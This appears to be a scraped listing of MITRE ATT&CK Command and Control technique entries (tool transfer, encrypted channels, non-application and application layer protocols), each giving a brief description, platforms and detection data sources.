Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre